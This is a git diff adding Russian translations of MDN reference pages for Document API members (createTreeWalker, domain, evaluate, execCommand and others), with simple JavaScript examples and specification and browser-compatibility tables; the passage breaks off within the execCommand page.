NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8Shows {{domxref("CDATASection")}} nodes.
NodeFilter.SHOW_COMMENT128Shows {{domxref("Comment")}} nodes.
NodeFilter.SHOW_DOCUMENT256Shows {{domxref("Document")}} nodes.
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024Shows {{domxref("DocumentFragment")}} nodes.
NodeFilter.SHOW_DOCUMENT_TYPE512Shows {{domxref("DocumentType")}} nodes.
NodeFilter.SHOW_ELEMENT1Shows {{domxref("Element")}} nodes.
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32Shows {{domxref("Entity")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Entity")}} node as its root; in this case, it means that the {{domxref("Entity")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16Shows {{domxref("EntityReference")}} nodes.
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048Shows {{domxref("Notation")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with a {{domxref("Notation")}} node as its root; in this case, it means that the {{domxref("Notation")}} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64Shows {{domxref("ProcessingInstruction")}} nodes.
NodeFilter.SHOW_TEXT4Shows {{domxref("Text")}} nodes.
+
+
filter {{optional_inline}}
+
A {{domxref("NodeFilter")}}, that is an object with a method acceptNode, which is called by the {{domxref("TreeWalker")}} to determine whether or not to accept a node that has passed the whatToShow check.
+
entityReferenceExpansion {{optional_inline}} {{obsolete_inline}}
+
A {{domxref("Boolean")}} flag indicating if when discarding an {{domxref("EntityReference")}} its whole sub-tree must be discarded at the same time.
+
+ +

Return value

+ +

A new {{domxref("TreeWalker")}} object.

+ +

Example

+ +

The following example goes through all nodes in the body, reduces the set of nodes to elements, simply passes through as acceptable each node (it could reduce the set in the acceptNode() method instead), and then makes use of tree walker iterator that is created to advance through the nodes (now all elements) and push them into an array.

+ +
var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences parameter. Made the whatToShow and filter parameters optionals.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.createTreeWalker")}}

+ +

See also

+ + diff --git a/files/ru/web/api/document/currentscript/index.html b/files/ru/web/api/document/currentscript/index.html new file mode 100644 index 0000000000..e4d3849b73 --- /dev/null +++ b/files/ru/web/api/document/currentscript/index.html @@ -0,0 +1,110 @@ +--- +title: Document.currentScript +slug: Web/API/Document/currentScript +translation_of: Web/API/Document/currentScript +--- +
{{ApiRef("DOM")}}
+ +

Возвращает элемент {{HTMLElement("script")}}, который выполняется в данный момент.

+ +

Синтаксис

+ +
var curScriptElement = document.currentScript;
+
+ +

Пример

+ +

Этот пример проверяет, выполняется ли текущий скрипт асинхронно:

+ +
if (document.currentScript.async) {
+  console.log("Executing asynchronously");
+} else {
+  console.log("Executing synchronously");
+}
+ +

Посмотреть живые примеры

+ +

Notes

+ +

Важно заметить, что элемент {{HTMLElement("script")}} не будет соответствовать текущему, если он выполняется внутри callback'a или event handler'a; он будет соответствовать элементу только при начальном выполнении скрипта.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

Совместимость

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(29.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatNo}}168
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.4{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}8
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/defaultview/index.html b/files/ru/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..fb38bdabd4 --- /dev/null +++ b/files/ru/web/api/document/defaultview/index.html @@ -0,0 +1,50 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - DOM + - Property +translation_of: Web/API/Document/defaultView +--- +
{{ ApiRef() }}
+ +

В браузерах возвращает объект window, который связан с document текущей страницы или null если document не доступен.

+ +

Синтаксис

+ +
var win = document.defaultView;
+ +

Это свойство доступно только для чтения.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML WHATWG')}}No change
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.defaultView")}}

diff --git a/files/ru/web/api/document/designmode/index.html b/files/ru/web/api/document/designmode/index.html new file mode 100644 index 0000000000..9eb7f429d6 --- /dev/null +++ b/files/ru/web/api/document/designmode/index.html @@ -0,0 +1,65 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +tags: + - API + - DOM + - Document + - HTML + - JS + - designmode + - editor +translation_of: Web/API/Document/designMode +--- +
{{ ApiRef() }}
+ +

document.designMode переключает режим редактирования для всего документа. Допустимые значения: "on" и "off". В соответствии со спецификацией, это свойство по умолчанию имеет значение "off". Firefox следует этому стандарту. В более ранних версии Chrome и IE это свойство по умолчанию имеет значение "inherit". Начиная с Chrome 43 значение по умолчанию "off", а значение "inherit" более не поддерживается. В IE6-10 значение должно быть указанно с большой буквы ("On" и "Off") 

+ +

Синтаксис

+ +
var mode = document.designMode;
+document.designMode = "on" || "off";
+ +

Пример

+ +

Включить режим редактирования для {{HTMLElement("iframe")}} :

+ +
iframeNode.contentDocument.designMode = "on";
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}Начальное значение
+ +

Совместимость с браузерами

+ + + + + +

{{Compat("api.Document.designMode")}}

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/document/dir/index.html b/files/ru/web/api/document/dir/index.html new file mode 100644 index 0000000000..adfe8dfa7b --- /dev/null +++ b/files/ru/web/api/document/dir/index.html @@ -0,0 +1,63 @@ +--- +title: Document.dir +slug: Web/API/Document/dir +tags: + - API + - Document + - Property +translation_of: Web/API/Document/dir +--- +

{{ApiRef("")}}

+ +

Свойство Document.dir является строкой {{domxref("DOMString")}} показывает направление текста на странице (слева направо или справа налево).

+ +

Возможные значения:

+ + + +

Синтаксис

+ +
dirStr = document.dir;
+document.dir = dirStr;
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("HTML WHATWG", "dom.html#the-dir-attribute:dom-dir", "Document.dir")}}{{Spec2("HTML WHATWG")}} 
+ +

Совместимость с браузерами

+ +

 

+ + + +

{{Compat("api.Document.dir")}}

+ +

 

+ +

Связанные события

+ + diff --git a/files/ru/web/api/document/doctype/index.html b/files/ru/web/api/document/doctype/index.html new file mode 100644 index 0000000000..1715e06fc2 --- /dev/null +++ b/files/ru/web/api/document/doctype/index.html @@ -0,0 +1,63 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +tags: + - ДОМ + - Документ + - Отсылка + - Свойство + - Справка +translation_of: Web/API/Document/doctype +--- +
{{ApiRef("DOM")}}
+ +

Возвращает Описание Типа Документа (Document Type Declaration, DTD) относительно текущего документа. Возвращаемый объект обеспечивает выполнение {{domxref("DocumentType")}} интерфейса. Используйте {{domxref("DOMImplementation.createDocumentType()")}} для создания DocumentType.

+ +

Синтаксис

+ +
doctype = document.doctype;
+
+ + + +

Пример

+ +
var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);
+ +

Примечания

+ +

Свойство возвращает null, если не существует DTD связанного с текущим документом.

+ +

DOM уровня 2 не поддерживает редактирование описания типа документа.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}{{Spec2('DOM WHATWG')}}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Document.doctype")}}

diff --git a/files/ru/web/api/document/document/index.html b/files/ru/web/api/document/document/index.html new file mode 100644 index 0000000000..7dee15e364 --- /dev/null +++ b/files/ru/web/api/document/document/index.html @@ -0,0 +1,52 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - ДОМ + - Документ + - Конструктор +translation_of: Web/API/Document/Document +--- +

{{APIRef}}{{Non-standard_header}}

+ +

Document конструктор создает новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере  и служит точкой входа в содержание страницы.

+ +

Синтаксис

+ +
var document = new Document()
+ +

Параметры

+ +

Нету.

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG','#interface-document','Document')}}{{Spec2('DOM WHATWG')}}Первоначальное определение.
+ +

Совместимость с Браузерами

+ +
 
+ +

 

+ + + +

{{Compat("api.Document.Document")}}

+ +

 

diff --git a/files/ru/web/api/document/documentelement/index.html b/files/ru/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..27344558f8 --- /dev/null +++ b/files/ru/web/api/document/documentelement/index.html @@ -0,0 +1,44 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - 'API,' + - DOM + - Свойство + - Ссылка + - Только для чтения +translation_of: Web/API/Document/documentElement +--- +

{{ ApiRef("DOM") }}

+ +

 Document.documentElement - свойство только для чтения, которое возвращает элемент Element , который является коренным элементом документа  document (например элемент <html> для HTML документов).

+ +

Синтаксис

+ +
var element = document.documentElement;
+
+ +

Пример

+ +
var rootElement = document.documentElement;
+var firstTier = rootElement.childNodes;
+
+// firstTier -переменная объекта NodeList непосредственных потомков корневого элемента
+for (var i = 0; i < firstTier.length; i++) {
+   // что-то делает с каждым прямым потомком корневого элемента
+   // как и firstTier[i]
+}
+ +

Примечания

+ +

Это свойство удобно только для чтения для получения корневого элемента, связанного с любым документом.

+ +

HTML документ обычно содержит один дочерний узел - <html>,  возможно с объявлением  DOCTYPE перед ним. XML документы часто содержат множественные  дочерние узлы: корневой элемент, объявление DOCTYPE, и инструкции по обработке.

+ +

Поэтому вам стоит использовать document.documentElement вместо {{Domxref("document.firstChild")}} для доступа к корневому элементу.

+ +

Спецификация

+ + diff --git a/files/ru/web/api/document/documenturi/index.html b/files/ru/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..ca57ddec41 --- /dev/null +++ b/files/ru/web/api/document/documenturi/index.html @@ -0,0 +1,113 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +translation_of: Web/API/Document/documentURI +--- +
{{ApiRef("DOM")}}
+ +

Свойство documentURI интерфейса {{domxref("Document")}} возвращает строку с текущим адресом документа.

+ +

Первоначально определено в DOM3 как атрибут для чтения и записи. В спецификации DOM4 это свойство доступно только для чтения.

+ +

Синтаксис

+ +
var string = document.documentURI;
+
+ +

Примечание

+ +

HTML документы содержат свойство {{domxref("document.URL")}} которое возвращает то же значение. Но в отличие от  URL, свойство documentURI доступно для всех типов документов.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM4')}} 
{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}{{Spec2('DOM3 Core')}}Начальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
DOM3 behavior{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatChrome(43.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
DOM3 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
DOM4 behavior{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
diff --git a/files/ru/web/api/document/documenturiobject/index.html b/files/ru/web/api/document/documenturiobject/index.html new file mode 100644 index 0000000000..533664f3b8 --- /dev/null +++ b/files/ru/web/api/document/documenturiobject/index.html @@ -0,0 +1,35 @@ +--- +title: Document.documentURIObject +slug: Web/API/Document/documentURIObject +tags: + - свойства дом +translation_of: Web/API/Document/documentURIObject +--- +

{{ ApiRef("DOM") }}

+ +

Document.documentURIObject свойство только для чтения возвращает {{ Interface("nsIURI") }} объект представляющий URI документа.

+ +

Это работает только для привилегированных  (UniversalXPConnect) скриптов, включая расширенный код. Для веб содержания это свойство не имеет какого-либо специального значения и может быть использованно так же как и любое другое обычное свойство.

+ +

Превилегированный код должен быть осторожным не пытаясь получить или установить это свойство на объект с незапакованным  содержанием (e.g. on a wrappedJSObject of an XPCNativeWrapper). Смотрите {{ Bug(324464) }}' комментарии для детализации.

+ +

Синтаксис

+ +
var uri = doc.documentURIObject;
+
+ +

Пример

+ +
// Проверка является ли этот URI scheme текущей вкладки Firefox - 'http',
+// предполагая что этот код выполняется в контексте  browser.xul
+var uriObj = content.document.documentURIObject;
+var uriPort = uriObj.port;
+
+if (uriObj.schemeIs('http')) {
+  ...
+}
+
+ +

Спецификация

+ +

Не является частью спецификации.

diff --git a/files/ru/web/api/document/domain/index.html b/files/ru/web/api/document/domain/index.html new file mode 100644 index 0000000000..bd54dc1f83 --- /dev/null +++ b/files/ru/web/api/document/domain/index.html @@ -0,0 +1,106 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - Domain + - HTML DOM + - Property + - Same Origin + - Same Origin Policy + - iframe +translation_of: Web/API/Document/domain +--- +
{{ApiRef}}
+ +
Свойство domain у {{domxref("Document")}} интерфейса получает/устанавливает доменную часть источника происхождения (origin) текущего документа, используется в политике ограничения домена (same origin policy).
+ +

Синтаксис

+ +
var domainString = document.domain;
+document.domain = string;
+ +

Значение

+ +

Доменная часть источника происхождения (origin) текущего документа.

+ +

Исключения

+ +
+
SecurityError
+
An attempt has been made to set domain under one of the following conditions: +
    +
  • The document is inside a sandboxed {{htmlelement("iframe")}}
    • +
  • The document has no browsing context
    • +
  • The document's effective domain is null
    • +
  • The given value is not equal to the document's effective domain (or it is not a registerable domain suffix of it)
    • +
  • The {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} is enabled
    • +
+
+
+ +

Examples

+ +

Getting the domain

+ +

For the URI http://developer.mozilla.org/en-US/docs/Web, this example sets currentDomain to the string "developer.mozilla.org".

+ +
var currentDomain = document.domain;
+ +

Closing a window

+ +

If a document, such as www.example.xxx/good.html, has the domain of "www.example.xxx", this example attempts to close the window.

+ +
var badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // Just an example: window.close() sometimes has no effect
+  window.close();
+}
+ +

Замечания

+ +

Свойство возвращает null если домен документа не может быть идентифицирован, хотя теперь это изменилось с Firefox 62 - смотри обсуждение в {{bug(819475)}}.

+ +

Mozilla позволит вам установить его в супердомен текущего значения, ограниченный его  базовым доменом. Например, на developer.mozilla.org возможно установить его как "mozilla.org" но не как  "mozilla.com" или "org".

+ +

Если это свойство успешно установленно, портовая часть источника так же уставнавливается на нуль.

+ +

Mozilla отличает свойство document.domain, которое никогда не было установлено от явно утановленного такого же домена как в URL документа, хотя свойство возвращает одинаковое значение в обоих случаях. Один документ разрешает доступ к другому, если они оба установили document.domain в одинаковое значение, указывая тем самым на их намерение сотрудничать или ни один из них не установил document.domain, а домены в URL-адресах одинаковые (реализация). Если бы не эта специальная политика, то каждый сайт будет подвержен XSS от своих поддоменов (для примера https://bugzilla.mozilla.org может быть атакован с помощью заведения багов (bug attachments) на https://bug*.bugzilla.mozilla.org).

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML 5.2','browsers.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML 5.2')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Document.domain")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/domcontentloaded_event/index.html b/files/ru/web/api/document/domcontentloaded_event/index.html new file mode 100644 index 0000000000..4a77474df9 --- /dev/null +++ b/files/ru/web/api/document/domcontentloaded_event/index.html @@ -0,0 +1,184 @@ +--- +title: 'Document: DOMContentLoaded event' +slug: Web/API/Document/DOMContentLoaded_event +tags: + - Событие +translation_of: Web/API/Document/DOMContentLoaded_event +--- +
{{APIRef}}
+ +

Событие DOMContentLoaded  запускается когда первоначальный HTML документ будет полностью загружен и разобран, без ожидания полной загрузки таблиц стилей, изображений и фреймов.

+ + + + + + + + + + + + + + + + + + + + +
Всплытиеда
ОтменяемыйДа (хотя указано как простое событие, которое не может быть отменено)
Интерфейс{{domxref("Event")}}
Свойство обработчика событийнет
+ +

Разные события,load, должны быть использованы только для обнаружения полностью загруженной страницы. Это распространённая ошибка в использовании load, там где DOMContentLoaded было бы более уместным.

+ +

Синхронный JavaScript останавливает разбор DOM. Если вы хотите что бы DOM был разобран как можно быстрее после того как пользователь запросит страницу, вы должны сделать ваш JavaScript асинхронным and оптимизировать загрузку таблиц стилей. Если загружать как обычно, таблицы стилей  тормозят разбор DOM так как они загружаются параллельно, "крадя" трафик у основного HTML документа.

+ +

Примеры

+ +

Основное применение

+ +
document.addEventListener('DOMContentLoaded', (event) => {
+    console.log('DOM полностью загружен и разобран');
+});
+
+ +

Отложенный DOMContentLoaded

+ +
<script>
+  document.addEventListener('DOMContentLoaded', (event) => {
+    console.log('DOM полностью загружен и разобран');
+  });
+
+for( let i = 0; i < 1000000000; i++)
+{} // Этот синхронный скрипт откладывает разбор DOM,
+   // так что событие DOMContentLoaded будет запущено позже.
+</script>
+
+ +

Проверка того, завершена ли загрузка

+ +

DOMContentLoaded может сработать до того, как ваш скрипт будет запущен, поэтому разумно это проверить, перед добавлением слушателя.

+ +
function doSomething() {
+  console.info('DOM загружен');
+}
+
+if (document.readyState === 'loading') {  // Загрузка ещё не закончилась
+  document.addEventListener('DOMContentLoaded', doSomething);
+} else {  // `DOMContentLoaded` Уже сработал
+  doSomething();
+}
+
+ +

Живые примеры

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}{{Spec2('HTML5 W3C')}}
+ +

Браузерная совместимость

+ + + +

{{Compat("api.Document.DOMContentLoaded_event")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/dragstart_event/index.html b/files/ru/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..7b7e89cfea --- /dev/null +++ b/files/ru/web/api/document/dragstart_event/index.html @@ -0,0 +1,89 @@ +--- +title: 'Document: dragstart event' +slug: Web/API/Document/dragstart_event +translation_of: Web/API/Document/dragstart_event +--- +
Событие dragstart вызывается, когда пользователь начинает перетаскивать выделенный элемент или текст.
+ + + + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
ОтменяемоеДа
Действие по умолчаниюИнициирование операции перетаскивания
Интерфейс{{domxref("DragEvent")}}
Свойство обработчика события{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}
+ +

Примеры

+ + + +

See the drag event for example code or this JSFiddle demo.

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}{{Spec2("HTML WHATWG")}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Document.dragstart_event")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/document/embeds/index.html b/files/ru/web/api/document/embeds/index.html new file mode 100644 index 0000000000..848996becb --- /dev/null +++ b/files/ru/web/api/document/embeds/index.html @@ -0,0 +1,59 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - API + - Document +translation_of: Web/API/Document/embeds +--- +

 

+ +

{{ApiRef}}

+ +

The embeds read-only property of the {{domxref("Document")}} interface returns a list of the embedded {{htmlelement("object")}} elements within the current document.

+ +

Синтаксис

+ +
nodeList = document.embeds
+
+ +

Значение

+ +

{{domxref("HTMLCollection")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }} 
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.embeds")}}

+ +

 

+ + + + + + + +
 
diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html new file mode 100644 index 0000000000..07c7e55155 --- /dev/null +++ b/files/ru/web/api/document/evaluate/index.html @@ -0,0 +1,159 @@ +--- +title: Document.evaluate() +slug: Web/API/Document/evaluate +translation_of: Web/API/Document/evaluate +--- +
{{ ApiRef("DOM") }}
+ +

Возвращает экземпляр объекта типа XPathResult исходя из данного XPath и других входных параметров.

+ +

Синтаксис

+ +
var xpathResult = document.evaluate(
+ xpathExpression,
+ contextNode,
+ namespaceResolver,
+ resultType,
+ result
+);
+ + + +

Пример

+ +
var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+/* Найти в документе все элементы h2
+ * В качестве результата будет получен узловой итератор. */
+var thisHeading = headings.iterateNext();
+var alertText = "В данном документе заголовками 2-го уровня являются:\n";
+while (thisHeading) {
+  alertText += thisHeading.textContent + "\n";
+  thisHeading = headings.iterateNext();
+}
+alert(alertText); // Показывает alert со всеми найденными элементами h2
+
+ +

Note, in the above example, a more verbose XPath is preferred over common shortcuts such as //h2. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits every node from the root and all subnodes looking for possible matches.

+ +

Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:

+ +
document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
+
+ +

Notice in the above document.body has been used as the context instead of document so the XPath starts from the body element. (In this example, the "." is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.)

+ +

Более детально данный материал описан в статье Introduction to using XPath in JavaScript.

+ +

Заметки

+ + + +

Типы возвращаемых данных

+ +

(Merge with Template:XPathResultConstants?

+ +

These are supported values for the resultType parameter of the evaluate method:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Result TypeValueDescription
ANY_TYPE0Whatever type naturally results from the given expression.
NUMBER_TYPE1A result set containing a single number. Useful, for example, in an XPath expression using the count() function.
STRING_TYPE2A result set containing a single string.
BOOLEAN_TYPE3A result set containing a single boolean value. Useful, for example, an an XPath expression using the not() function.
UNORDERED_NODE_ITERATOR_TYPE4A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_ITERATOR_TYPE5A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
UNORDERED_NODE_SNAPSHOT_TYPE6A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_SNAPSHOT_TYPE7A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
ANY_UNORDERED_NODE_TYPE8A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.
FIRST_ORDERED_NODE_TYPE9A result set containing the first node in the document that matches the expression.
+ +

Results of NODE_ITERATOR types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.

+ +

Results of NODE_SNAPSHOT types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}{{Spec2("DOM3 XPath")}}Initial specification
+ +

Совместимость с браузерами

+ +

{{Compat("api.Document.evaluate")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..b858471dc2 --- /dev/null +++ b/files/ru/web/api/document/execcommand/index.html @@ -0,0 +1,358 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +tags: + - API + - DOM + - editor + - wysiwyg +translation_of: Web/API/Document/execCommand +--- +
{{ApiRef("DOM")}}{{Obsolete_header}}
+ +
+

Обзор

+ +

Когда HTML документ переключен в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод execCommand, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (indenting). При использовании contentEditable, вызов execCommand влияет на активный редактируемый элемент.

+ +

Синтаксис

+ +
execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument)
+
+ +

Аргументы

+ +
+
+
String aCommandName
+
имя команды
+
+ +
+
Boolean aShowDefaultUI
+
нужно ли показать пользовательский интерфейс по умолчанию. Это не реализовано в Mozilla.
+
+ +
+
String aValueArgument
+
некоторым командам (например insertimage) также требуется значение аргумента (url картинки). Если аргумент не нужен введите null.
+
+
+ +

Команды

+ + +
+
+
backColor
+
Изменить цвет фона документа. В режиме styleWithCss командой устанавливается цвет фона родительского блока. Необходима передача строкового значения цвета в качестве аргумента. (Internet Explorer таким образом устанавливает цвет фона текста.)
+
+ +
+
bold
+
Включает/отключает выделение жирным bold отмеченного текста или начиная с места ввода текста. (Internet Explorer использует тег {{HTMLElement("strong")}} вместо {{HTMLElement("b")}}.)
+
+ +
+
contentReadOnly
+
Делает содержимое документа либо неизменяемым либо редактируемым. Требуется передача булевого true/false в качестве аргумента. (Не поддерживается Internet Explorer.)
+
+ +
+
copy
+
Копирует выделенное в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.
+
+ +
+
createLink
+
Создает ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ccылку и без URI.)
+
+ +
+
cut
+
Вырезает выделенное и помещает его в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.
+
+ +
+
decreaseFontSize
+
Добавляет тег {{HTMLElement("small")}} вокруг выделения или с места ввода текста. (Не поддерживается Internet Explorer.)
+
+ +
+
delete
+
